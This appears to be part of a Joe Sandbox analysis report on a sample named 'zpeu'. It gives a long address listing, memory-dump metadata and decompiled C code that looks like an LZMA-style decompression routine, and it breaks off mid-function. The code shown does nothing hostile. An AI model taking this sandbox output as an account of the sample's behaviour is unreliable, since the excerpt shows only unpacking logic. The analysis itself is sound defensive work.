                                      0x00000000
                                      0x004070c4
                                      0x004070cd
                                      0x004070d3
                                      0x004070d6
                                      0x004070d9
                                      0x004070dc
                                      0x004070df
                                      0x004070e5
                                      0x004070fe
                                      0x00407101
                                      0x0040710d
                                      0x0040710e
                                      0x00407111
                                      0x004070e7
                                      0x004070e7
                                      0x004070f6
                                      0x004070f9
                                      0x004070f9
                                      0x0040711b
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x004070be
                                      0x004070c2
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0040711d
                                      0x0040711d
                                      0x00407096
                                      0x0040709a
                                      0x004071d2
                                      0x004071d2
                                      0x004071dc
                                      0x004071e4
                                      0x004071eb
                                      0x004071ed
                                      0x004071f4
                                      0x004071f8
                                      0x004071f8
                                      0x004070a0
                                      0x004070a6
                                      0x004070ad
                                      0x004070b5
                                      0x004070b5
                                      0x004070b8
                                      0x00000000
                                      0x004070b8
                                      0x00407122
                                      0x0040712f
                                      0x00407132
                                      0x0040703e
                                      0x0040703e
                                      0x0040703e
                                      0x004067da
                                      0x004067da
                                      0x004067da
                                      0x004067e3
                                      0x00000000
                                      0x00000000
                                      0x004067e9
                                      0x004067e9
                                      0x00000000
                                      0x004067f0
                                      0x004067f4
                                      0x00000000
                                      0x00000000
                                      0x004067fa
                                      0x004067fd
                                      0x00406800
                                      0x00406803
                                      0x00406807
                                      0x00000000
                                      0x00000000
                                      0x0040680d
                                      0x0040680d
                                      0x00406810
                                      0x00406812
                                      0x00406813
                                      0x00406816
                                      0x00406818
                                      0x00406819
                                      0x0040681b
                                      0x0040681e
                                      0x00406823
                                      0x00406828
                                      0x00406831
                                      0x00406844
                                      0x00406847
                                      0x00406853
                                      0x0040687b
                                      0x0040687d
                                      0x0040688b
                                      0x0040688b
                                      0x0040688f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0040687f
                                      0x0040687f
                                      0x00406882
                                      0x00406883
                                      0x00406883
                                      0x00000000
                                      0x0040687f
                                      0x00406855
                                      0x00406859
                                      0x0040685e
                                      0x0040685e
                                      0x00406867
                                      0x0040686f
                                      0x00406872
                                      0x00000000
                                      0x00406878
                                      0x00406878
                                      0x00000000
                                      0x00406878
                                      0x00000000
                                      0x00406895
                                      0x00406895
                                      0x00406899
                                      0x00407145
                                      0x00407145
                                      0x00000000
                                      0x00407145
                                      0x0040689f
                                      0x004068a2
                                      0x004068b2
                                      0x004068b5
                                      0x004068b8
                                      0x004068b8
                                      0x004068b8
                                      0x004068bb
                                      0x004068bf
                                      0x00000000
                                      0x00000000
                                      0x004068c1
                                      0x004068c1
                                      0x004068c7
                                      0x004068f1
                                      0x004068f7
                                      0x004068fe
                                      0x00000000
                                      0x004068fe
                                      0x004068c9
                                      0x004068cd
                                      0x004068d0
                                      0x004068d5
                                      0x004068d5
                                      0x004068e0
                                      0x004068e8
                                      0x004068eb
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406930
                                      0x00406936
                                      0x00406939
                                      0x00406946
                                      0x0040694e
                                      0x00000000
                                      0x00000000
                                      0x00406905
                                      0x00406905
                                      0x00406909
                                      0x00407154
                                      0x00407154
                                      0x00000000
                                      0x00407154
                                      0x0040690f
                                      0x00406915
                                      0x00406920
                                      0x00406920
                                      0x00406920
                                      0x00406923
                                      0x00406926
                                      0x00406929
                                      0x0040692e
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406fc5
                                      0x00406fc5
                                      0x00406fcb
                                      0x00406fd1
                                      0x00406fd7
                                      0x00406ff1
                                      0x00406ff4
                                      0x00406ffa
                                      0x00407005
                                      0x00407005
                                      0x00407007
                                      0x00406fd9
                                      0x00406fd9
                                      0x00406fe8
                                      0x00406fec
                                      0x00406fec
                                      0x00407011
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00407013
                                      0x00407017
                                      0x004071c6
                                      0x004071c6
                                      0x00000000
                                      0x004071c6
                                      0x0040701d
                                      0x00407023
                                      0x0040702a
                                      0x00407032
                                      0x00407035
                                      0x00407038
                                      0x00407038
                                      0x0040703e
                                      0x0040703e
                                      0x00000000
                                      0x00000000
                                      0x00406956
                                      0x00406956
                                      0x00406958
                                      0x0040695b
                                      0x004069cc
                                      0x004069cc
                                      0x004069cf
                                      0x004069d2
                                      0x004069d9
                                      0x004069e3
                                      0x00000000
                                      0x004069e3
                                      0x0040695d
                                      0x0040695d
                                      0x00406961
                                      0x00406964
                                      0x00406966
                                      0x00406969
                                      0x0040696c
                                      0x0040696e
                                      0x00406971
                                      0x00406973
                                      0x00406978
                                      0x0040697b
                                      0x0040697e
                                      0x00406982
                                      0x00406989
                                      0x0040698c
                                      0x00406993
                                      0x00406997
                                      0x0040699f
                                      0x0040699f
                                      0x0040699f
                                      0x00406999
                                      0x00406999
                                      0x00406999
                                      0x0040698e
                                      0x0040698e
                                      0x0040698e
                                      0x004069a3
                                      0x004069a6
                                      0x004069c4
                                      0x004069c4
                                      0x004069c6
                                      0x00000000
                                      0x004069a8
                                      0x004069a8
                                      0x004069a8
                                      0x004069ab
                                      0x004069ae
                                      0x004069b1
                                      0x004069b3
                                      0x004069b3
                                      0x004069b3
                                      0x004069b6
                                      0x004069b9
                                      0x004069bb
                                      0x004069bc
                                      0x004069bf
                                      0x00000000
                                      0x004069bf
                                      0x00000000
                                      0x00406bf5
                                      0x00406bf5
                                      0x00406bf9
                                      0x00406c17
                                      0x00406c17
                                      0x00406c1a
                                      0x00406c21
                                      0x00406c24
                                      0x00406c27
                                      0x00406c2a
                                      0x00406c2d
                                      0x00406c30
                                      0x00406c32
                                      0x00406c39
                                      0x00406c3a
                                      0x00406c3c
                                      0x00406c3f
                                      0x00406c42
                                      0x00406c45
                                      0x00406c45
                                      0x00406c4a
                                      0x00000000
                                      0x00406c4a
                                      0x00406bfb
                                      0x00406bfb
                                      0x00406bfe
                                      0x00406c01
                                      0x00406c0b
                                      0x00000000
                                      0x00000000
                                      0x00406c5f
                                      0x00406c5f
                                      0x00406c63
                                      0x00406c86
                                      0x00406c89
                                      0x00406c8c
                                      0x00406c96
                                      0x00406c65
                                      0x00406c65
                                      0x00406c68
                                      0x00406c6b
                                      0x00406c6e
                                      0x00406c7b
                                      0x00406c7e
                                      0x00406c7e
                                      0x00000000
                                      0x00000000
                                      0x00406ca2
                                      0x00406ca2
                                      0x00406ca6
                                      0x00000000
                                      0x00000000
                                      0x00406cac
                                      0x00406cac
                                      0x00406cb0
                                      0x00000000
                                      0x00000000
                                      0x00406cb6
                                      0x00406cb6
                                      0x00406cb8
                                      0x00406cbc
                                      0x00406cbc
                                      0x00406cbf
                                      0x00406cc3
                                      0x00000000
                                      0x00000000
                                      0x00406d13
                                      0x00406d13
                                      0x00406d17
                                      0x00406d1e
                                      0x00406d1e
                                      0x00406d21
                                      0x00406d24
                                      0x00406d2e
                                      0x00000000
                                      0x00406d2e
                                      0x00406d19
                                      0x00406d19
                                      0x00000000
                                      0x00000000
                                      0x00406d3a
                                      0x00406d3a
                                      0x00406d3e
                                      0x00406d45
                                      0x00406d48
                                      0x00406d4b
                                      0x00406d40
                                      0x00406d40
                                      0x00406d40
                                      0x00406d4e
                                      0x00406d51
                                      0x00406d54
                                      0x00406d54
                                      0x00406d57
                                      0x00406d5a
                                      0x00406d5d
                                      0x00406d5d
                                      0x00406d60
                                      0x00406d67
                                      0x00406d6c
                                      0x00000000
                                      0x00000000
                                      0x00406dfa
                                      0x00406dfa
                                      0x00406dfe
                                      0x0040719c
                                      0x0040719c
                                      0x00000000
                                      0x0040719c
                                      0x00406e04
                                      0x00406e04
                                      0x00406e07
                                      0x00406e0a
                                      0x00406e0e
                                      0x00406e11
                                      0x00406e17
                                      0x00406e19
                                      0x00406e19
                                      0x00406e19
                                      0x00406e1c
                                      0x00406e1f
                                      0x00000000
                                      0x00000000
                                      0x004069ef
                                      0x004069ef
                                      0x004069f3
                                      0x00407160
                                      0x00407160
                                      0x00000000
                                      0x00407160
                                      0x004069f9
                                      0x004069f9
                                      0x004069fc
                                      0x004069ff
                                      0x00406a03
                                      0x00406a06
                                      0x00406a0c
                                      0x00406a0e
                                      0x00406a0e
                                      0x00406a0e
                                      0x00406a11
                                      0x00406a14
                                      0x00406a14
                                      0x00406a17
                                      0x00406a1a
                                      0x00000000
                                      0x00000000
                                      0x00406a20
                                      0x00406a20
                                      0x00406a26
                                      0x00000000
                                      0x00000000
                                      0x00406a2c
                                      0x00406a2c
                                      0x00406a30
                                      0x00406a33
                                      0x00406a36
                                      0x00406a39
                                      0x00406a3c
                                      0x00406a3d
                                      0x00406a40
                                      0x00406a42
                                      0x00406a48
                                      0x00406a4b
                                      0x00406a4e
                                      0x00406a51
                                      0x00406a54
                                      0x00406a57
                                      0x00406a5a
                                      0x00406a76
                                      0x00406a79
                                      0x00406a7c
                                      0x00406a7f
                                      0x00406a86
                                      0x00406a8a
                                      0x00406a8c
                                      0x00406a90
                                      0x00406a5c
                                      0x00406a5c
                                      0x00406a60
                                      0x00406a68
                                      0x00406a6d
                                      0x00406a6f
                                      0x00406a71
                                      0x00406a71
                                      0x00406a93
                                      0x00406a9a
                                      0x00406a9d
                                      0x00000000
                                      0x00406aa3
                                      0x00406aa3
                                      0x00000000
                                      0x00406aa3
                                      0x00000000
                                      0x00406aa8
                                      0x00406aa8
                                      0x00406aac
                                      0x0040716c
                                      0x0040716c
                                      0x00000000
                                      0x0040716c
                                      0x00406ab2
                                      0x00406ab2
                                      0x00406ab5
                                      0x00406ab8
                                      0x00406abc
                                      0x00406abf
                                      0x00406ac5
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406aca
                                      0x00406acd
                                      0x00406acd
                                      0x00406acd
                                      0x00406ad3
                                      0x00000000
                                      0x00000000
                                      0x00406ad5
                                      0x00406ad5
                                      0x00406ad8
                                      0x00406adb
                                      0x00406ade
                                      0x00406ae1
                                      0x00406ae4
                                      0x00406ae7
                                      0x00406aea
                                      0x00406aed
                                      0x00406af0
                                      0x00406af3
                                      0x00406b0b
                                      0x00406b0e
                                      0x00406b11
                                      0x00406b14
                                      0x00406b14
                                      0x00406b17
                                      0x00406b1b
                                      0x00406b1d
                                      0x00406af5
                                      0x00406af5
                                      0x00406afd
                                      0x00406b02
                                      0x00406b04
                                      0x00406b06
                                      0x00406b06
                                      0x00406b20
                                      0x00406b27
                                      0x00406b2a
                                      0x00000000
                                      0x00406b2c
                                      0x00406b2c
                                      0x00000000
                                      0x00406b2c
                                      0x00406b2a
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00000000
                                      0x00000000
                                      0x00406b6c
                                      0x00406b6c
                                      0x00406b70
                                      0x00407178
                                      0x00407178
                                      0x00000000
                                      0x00407178
                                      0x00406b76
                                      0x00406b76
                                      0x00406b79
                                      0x00406b7c
                                      0x00406b80
                                      0x00406b83
                                      0x00406b89
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8e
                                      0x00406b91
                                      0x00406b91
                                      0x00406b97
                                      0x00406b35
                                      0x00406b35
                                      0x00406b38
                                      0x00000000
                                      0x00406b38
                                      0x00406b99
                                      0x00406b99
                                      0x00406b9c
                                      0x00406b9f
                                      0x00406ba2
                                      0x00406ba5
                                      0x00406ba8
                                      0x00406bab
                                      0x00406bae
                                      0x00406bb1
                                      0x00406bb4
                                      0x00406bb7
                                      0x00406bcf
                                      0x00406bd2
                                      0x00406bd5
                                      0x00406bd8
                                      0x00406bd8
                                      0x00406bdb
                                      0x00406bdf
                                      0x00406be1
                                      0x00406bb9
                                      0x00406bb9
                                      0x00406bc1
                                      0x00406bc6
                                      0x00406bc8
                                      0x00406bca
                                      0x00406bca
                                      0x00406be4
                                      0x00406beb
                                      0x00406bee
                                      0x00000000
                                      0x00406bf0
                                      0x00406bf0
                                      0x00000000
                                      0x00406bf0
                                      0x00000000
                                      0x00406e7d
                                      0x00406e7d
                                      0x00406e81
                                      0x004071a8
                                      0x004071a8
                                      0x00000000
                                      0x004071a8
                                      0x00406e87
                                      0x00406e87
                                      0x00406e8a
                                      0x00406e8d
                                      0x00406e91
                                      0x00406e94
                                      0x00406e9a
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9f
                                      0x00000000
                                      0x00000000
                                      0x00406c4d
                                      0x00406c4d
                                      0x00406c50
                                      0x00000000
                                      0x00000000
                                      0x00406f8c
                                      0x00406f8c
                                      0x00406f90
                                      0x00406fb2
                                      0x00406fb2
                                      0x00406fb5
                                      0x00406fbf
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00406fc2
                                      0x00406f92
                                      0x00406f92
                                      0x00406f95
                                      0x00406f99
                                      0x00406f9c
                                      0x00406f9c
                                      0x00406f9f
                                      0x00000000
                                      0x00000000
                                      0x00407049
                                      0x00407049
                                      0x0040704d
                                      0x0040706b
                                      0x0040706b
                                      0x0040706b
                                      0x0040706b
                                      0x00407072
                                      0x00407079
                                      0x00407080
                                      0x00407080
                                      0x00407087
                                      0x0040708a
                                      0x00407091
                                      0x00000000
                                      0x00407094
                                      0x0040704f
                                      0x0040704f
                                      0x00407052
                                      0x00407055
                                      0x00407058
                                      0x0040705f
                                      0x00406fa3
                                      0x00406fa3
                                      0x00406fa6
                                      0x00000000
                                      0x00000000
                                      0x0040713a
                                      0x0040713a
                                      0x0040713d
                                      0x0040703e
                                      0x0040703e
                                      0x0040703e
                                      0x00000000
                                      0x00407044
                                      0x00000000
                                      0x00406d74
                                      0x00406d74
                                      0x00406d76
                                      0x00406d7d
                                      0x00406d7e
                                      0x00406d80
                                      0x00406d83
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00407087
                                      0x00407087
                                      0x0040708a
                                      0x00407091
                                      0x00000000
                                      0x00407094
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406db9
                                      0x00406db9
                                      0x00406dbc
                                      0x00406df2
                                      0x00406df2
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f25
                                      0x00406f25
                                      0x00406f28
                                      0x00406f2a
                                      0x004071b4
                                      0x004071b4
                                      0x00000000
                                      0x004071b4
                                      0x00406f30
                                      0x00406f30
                                      0x00406f33
                                      0x00000000
                                      0x00000000
                                      0x00406f39
                                      0x00406f39
                                      0x00406f3d
                                      0x00406f40
                                      0x00406f40
                                      0x00406f40
                                      0x00000000
                                      0x00406f40
                                      0x00406dbe
                                      0x00406dbe
                                      0x00406dc0
                                      0x00406dc2
                                      0x00406dc4
                                      0x00406dc7
                                      0x00406dc8
                                      0x00406dca
                                      0x00406dcc
                                      0x00406dcf
                                      0x00406dd2
                                      0x00406de8
                                      0x00406de8
                                      0x00406ded
                                      0x00406e25
                                      0x00406e25
                                      0x00406e29
                                      0x00406e52
                                      0x00406e55
                                      0x00406e57
                                      0x00406e5e
                                      0x00406e61
                                      0x00406e64
                                      0x00406e64
                                      0x00406e69
                                      0x00406e69
                                      0x00406e6b
                                      0x00406e6e
                                      0x00406e75
                                      0x00406e78
                                      0x00406ea5
                                      0x00406ea5
                                      0x00406ea8
                                      0x00406eab
                                      0x00406f1f
                                      0x00406f1f
                                      0x00406f1f
                                      0x00406f1f
                                      0x00000000
                                      0x00406f1f
                                      0x00406ead
                                      0x00406ead
                                      0x00406eb3
                                      0x00406eb6
                                      0x00406eb9
                                      0x00406ebc
                                      0x00406ebf
                                      0x00406ec2
                                      0x00406ec5
                                      0x00406ec8
                                      0x00406ecb
                                      0x00406ece
                                      0x00406ee7
                                      0x00406ee9
                                      0x00406eec
                                      0x00406eed
                                      0x00406ef0
                                      0x00406ef2
                                      0x00406ef5
                                      0x00406ef7
                                      0x00406ef9
                                      0x00406efc
                                      0x00406efe
                                      0x00406f01
                                      0x00406f05
                                      0x00406f07
                                      0x00406f07
                                      0x00406f08
                                      0x00406f0b
                                      0x00406f0e
                                      0x00406ed0
                                      0x00406ed0
                                      0x00406ed8
                                      0x00406edd
                                      0x00406edf
                                      0x00406ee2
                                      0x00406ee2
                                      0x00406f11
                                      0x00406f18
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00000000
                                      0x00406f1a
                                      0x00406f1a
                                      0x00000000
                                      0x00406f1a
                                      0x00406f18
                                      0x00406e2b
                                      0x00406e2b
                                      0x00406e2e
                                      0x00406e30
                                      0x00406e33
                                      0x00406e36
                                      0x00406e39
                                      0x00406e3b
                                      0x00406e3e
                                      0x00406e41
                                      0x00406e41
                                      0x00406e44
                                      0x00406e44
                                      0x00406e47
                                      0x00406e4e
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00000000
                                      0x00406e50
                                      0x00406e50
                                      0x00000000
                                      0x00406e50
                                      0x00406e4e
                                      0x00406dd4
                                      0x00406dd4
                                      0x00406dd7
                                      0x00406dd9
                                      0x00406ddc
                                      0x00000000
                                      0x00000000
                                      0x00406b3b
                                      0x00406b3b
                                      0x00406b3f
                                      0x00407184
                                      0x00407184
                                      0x00000000
                                      0x00407184
                                      0x00406b45
                                      0x00406b45
                                      0x00406b48
                                      0x00406b4b
                                      0x00406b4e
                                      0x00406b51
                                      0x00406b54
                                      0x00406b57
                                      0x00406b59
                                      0x00406b5c
                                      0x00406b5f
                                      0x00406b62
                                      0x00406b64
                                      0x00406b64
                                      0x00406b64
                                      0x00000000
                                      0x00000000
                                      0x00406cc6
                                      0x00406cc6
                                      0x00406cca
                                      0x00407190
                                      0x00407190
                                      0x00000000
                                      0x00407190
                                      0x00406cd0
                                      0x00406cd0
                                      0x00406cd3
                                      0x00406cd6
                                      0x00406cd9
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cde
                                      0x00406ce1
                                      0x00406ce4
                                      0x00406ce7
                                      0x00406cea
                                      0x00406ced
                                      0x00406cee
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf3
                                      0x00406cf6
                                      0x00406cf9
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cff
                                      0x00406d01
                                      0x00406d01
                                      0x00000000
                                      0x00000000
                                      0x00406f43
                                      0x00406f43
                                      0x00406f43
                                      0x00406f47
                                      0x00000000
                                      0x00000000
                                      0x00406f4d
                                      0x00406f4d
                                      0x00406f50
                                      0x00406f53
                                      0x00406f56
                                      0x00406f58
                                      0x00406f58
                                      0x00406f58
                                      0x00406f5b
                                      0x00406f5e
                                      0x00406f61
                                      0x00406f64
                                      0x00406f67
                                      0x00406f6a
                                      0x00406f6b
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f70
                                      0x00406f73
                                      0x00406f76
                                      0x00406f79
                                      0x00406f7c
                                      0x00406f80
                                      0x00406f82
                                      0x00406f85
                                      0x00000000
                                      0x00406f87
                                      0x00406f87
                                      0x00406d04
                                      0x00406d04
                                      0x00000000
                                      0x00406d04
                                      0x00406f85
                                      0x004071ba
                                      0x004071ba
                                      0x00000000
                                      0x00000000
                                      0x004067e9
                                      0x004071f1
                                      0x004071f1
                                      0x00000000
                                      0x004071f1
                                      0x0040703e
                                      0x004070be
                                      0x00407087

                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 302b10b5f8a53204061198487595bde91d4e59eeb865b5b54b4ab13e5b29b8f6
                                      • Instruction ID: db5c32ec8170847eb5f60efc1784393b24ec0eb305c02a0c5cf020035e361845
                                      • Opcode Fuzzy Hash: 302b10b5f8a53204061198487595bde91d4e59eeb865b5b54b4ab13e5b29b8f6
                                      • Instruction Fuzzy Hash: 76A15571E04229CBDF28CFA8C8546ADBBB1FF44305F10816AD856BB281C7786A86DF45
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 98%
                                      			E00406F8C() {
                                      				void _t533;
                                      				signed int _t534;
                                      				signed int _t535;
                                      				signed int* _t605;
                                      				void* _t612;
                                      
                                      				L0:
                                      				while(1) {
                                      					L0:
                                      					if( *(_t612 - 0x40) != 0) {
                                      						 *(_t612 - 0x84) = 0x13;
                                      						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
                                      						goto L132;
                                      					} else {
                                      						__eax =  *(__ebp - 0x4c);
                                      						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                      						__ecx =  *(__ebp - 0x58);
                                      						__eax =  *(__ebp - 0x4c) << 4;
                                      						__eax =  *(__ebp - 0x58) + __eax + 4;
                                      						L130:
                                      						 *(__ebp - 0x58) = __eax;
                                      						 *(__ebp - 0x40) = 3;
                                      						L144:
                                      						 *(__ebp - 0x7c) = 0x14;
                                      						L145:
                                      						__eax =  *(__ebp - 0x40);
                                      						 *(__ebp - 0x50) = 1;
                                      						 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                      						L149:
                                      						if( *(__ebp - 0x48) <= 0) {
                                      							__ecx =  *(__ebp - 0x40);
                                      							__ebx =  *(__ebp - 0x50);
                                      							0 = 1;
                                      							__eax = 1 << __cl;
                                      							__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                      							__eax =  *(__ebp - 0x7c);
                                      							 *(__ebp - 0x44) = __ebx;
                                      							while(1) {
                                      								L140:
                                      								 *(_t612 - 0x88) = _t533;
                                      								while(1) {
                                      									L1:
                                      									_t534 =  *(_t612 - 0x88);
                                      									if(_t534 > 0x1c) {
                                      										break;
                                      									}
                                      									switch( *((intOrPtr*)(_t534 * 4 +  &M004071F9))) {
                                      										case 0:
                                      											if( *(_t612 - 0x6c) == 0) {
                                      												goto L170;
                                      											}
                                      											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                      											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
                                      											_t534 =  *( *(_t612 - 0x70));
                                      											if(_t534 > 0xe1) {
                                      												goto L171;
                                      											}
                                      											_t538 = _t534 & 0x000000ff;
                                      											_push(0x2d);
                                      											asm("cdq");
                                      											_pop(_t569);
                                      											_push(9);
                                      											_pop(_t570);
                                      											_t608 = _t538 / _t569;
                                      											_t540 = _t538 % _t569 & 0x000000ff;
                                      											asm("cdq");
                                      											_t603 = _t540 % _t570 & 0x000000ff;
                                      											 *(_t612 - 0x3c) = _t603;
                                      											 *(_t612 - 0x1c) = (1 << _t608) - 1;
                                      											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
                                      											_t611 = (0x300 << _t603 + _t608) + 0x736;
                                      											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
                                      												L10:
                                      												if(_t611 == 0) {
                                      													L12:
                                      													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
                                      													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
                                      													goto L15;
                                      												} else {
                                      													goto L11;
                                      												}
                                      												do {
                                      													L11:
                                      													_t611 = _t611 - 1;
                                      													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
                                      												} while (_t611 != 0);
                                      												goto L12;
                                      											}
                                      											if( *(_t612 - 4) != 0) {
                                      												GlobalFree( *(_t612 - 4)); // executed
                                      											}
                                      											_t534 = GlobalAlloc(0x40, 0x600); // executed
                                      											 *(_t612 - 4) = _t534;
                                      											if(_t534 == 0) {
                                      												goto L171;
                                      											} else {
                                      												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
                                      												goto L10;
                                      											}
                                      										case 1:
                                      											L13:
                                      											__eflags =  *(_t612 - 0x6c);
                                      											if( *(_t612 - 0x6c) == 0) {
                                      												 *(_t612 - 0x88) = 1;
                                      												goto L170;
                                      											}
                                      											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                      											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
                                      											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
                                      											_t45 = _t612 - 0x48;
                                      											 *_t45 =  *(_t612 - 0x48) + 1;
                                      											__eflags =  *_t45;
                                      											L15:
                                      											if( *(_t612 - 0x48) < 4) {
                                      												goto L13;
                                      											}
                                      											_t546 =  *(_t612 - 0x40);
                                      											if(_t546 ==  *(_t612 - 0x74)) {
                                      												L20:
                                      												 *(_t612 - 0x48) = 5;
                                      												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
                                      												goto L23;
                                      											}
                                      											 *(_t612 - 0x74) = _t546;
                                      											if( *(_t612 - 8) != 0) {
                                      												GlobalFree( *(_t612 - 8)); // executed
                                      											}
                                      											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
                                      											 *(_t612 - 8) = _t534;
                                      											if(_t534 == 0) {
                                      												goto L171;
                                      											} else {
                                      												goto L20;
                                      											}
                                      										case 2:
                                      											L24:
                                      											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
                                      											 *(_t612 - 0x84) = 6;
                                      											 *(_t612 - 0x4c) = _t553;
                                      											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
                                      											goto L132;
                                      										case 3:
                                      											L21:
                                      											__eflags =  *(_t612 - 0x6c);
                                      											if( *(_t612 - 0x6c) == 0) {
                                      												 *(_t612 - 0x88) = 3;
                                      												goto L170;
                                      											}
                                      											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                      											_t67 = _t612 - 0x70;
                                      											 *_t67 =  &(( *(_t612 - 0x70))[1]);
                                      											__eflags =  *_t67;
                                      											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
                                      											L23:
                                      											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
                                      											if( *(_t612 - 0x48) != 0) {
                                      												goto L21;
                                      											}
                                      											goto L24;
                                      										case 4:
                                      											L133:
                                      											_t531 =  *_t605;
                                      											_t588 = _t531 & 0x0000ffff;
                                      											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
                                      											if( *(_t612 - 0xc) >= _t564) {
                                      												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
                                      												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
                                      												 *(_t612 - 0x40) = 1;
                                      												_t532 = _t531 - (_t531 >> 5);
                                      												__eflags = _t532;
                                      												 *_t605 = _t532;
                                      											} else {
                                      												 *(_t612 - 0x10) = _t564;
                                      												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
                                      												 *_t605 = (0x800 - _t588 >> 5) + _t531;
                                      											}
                                      											if( *(_t612 - 0x10) >= 0x1000000) {
                                      												goto L139;
                                      											} else {
                                      												goto L137;
                                      											}
                                      										case 5:
                                      											L137:
                                      											if( *(_t612 - 0x6c) == 0) {
                                      												 *(_t612 - 0x88) = 5;
                                      												goto L170;
                                      											}
                                      											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
                                      											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                      											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
                                      											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
                                      											L139:
                                      											_t533 =  *(_t612 - 0x84);
                                      											goto L140;
                                      										case 6:
                                      											__edx = 0;
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												__eax =  *(__ebp - 4);
                                      												__ecx =  *(__ebp - 0x38);
                                      												 *(__ebp - 0x34) = 1;
                                      												 *(__ebp - 0x84) = 7;
                                      												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                      												goto L132;
                                      											}
                                      											__eax =  *(__ebp - 0x5c) & 0x000000ff;
